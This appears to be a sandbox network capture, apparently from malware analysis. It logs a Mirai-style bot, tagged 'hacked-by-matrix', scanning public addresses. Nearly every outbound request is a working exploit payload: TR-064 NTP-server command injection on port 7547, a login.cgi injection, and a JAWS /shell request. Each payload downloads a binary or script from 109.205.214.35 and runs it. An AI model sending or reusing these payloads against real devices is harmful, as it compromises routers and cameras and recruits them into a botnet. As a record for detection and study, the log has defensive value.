Data Ascii:
Mar 21, 2024 05:23:11.853077888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:13.293586016 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.13	46816	220.211.175.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.788530111 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:11.658124924 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:11.941575050 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.13	47060	182.52.146.16	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.855998993 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.13	50332	37.75.205.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.062207937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:11.268541098 CET	190	IN	HTTP/1.1 404 Not Found Date: THU MAR 21 07:23:11 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.13	47070	182.52.146.16	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.218976021 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.13	50346	37.75.205.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.271521091 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:11.916233063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.137516022 CET	190	IN	HTTP/1.1 404 Not Found Date: THU MAR 21 07:23:11 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.13	35620	211.225.199.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.343827009 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.782048941 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:14.511323929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:17.932236910 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:24.844228029 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:38.675350904 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.13	56950	23.194.109.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.495657921 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:11.583673954 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:23:11 GMT Date: Thu, 21 Mar 2024 04:23:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 37 63 63 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 39 31 26 23 34 36 3b 35 65 64 35 62 36 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.767cc017.1710994991.5ed5b6e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.13	57300	182.239.112.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.496288061 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.13	56496	37.36.79.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.511403084 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.13	35622	72.141.50.13	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.529675007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:17.427335024 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.13	35632	211.225.199.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.628057957 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:13.100266933 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:14.829193115 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:18.444245100 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:25.356245041 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:39.180243969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.13	35612	109.69.232.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.659475088 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:11.843940973 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:11 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.13	50600	12.131.182.136	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.659526110 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
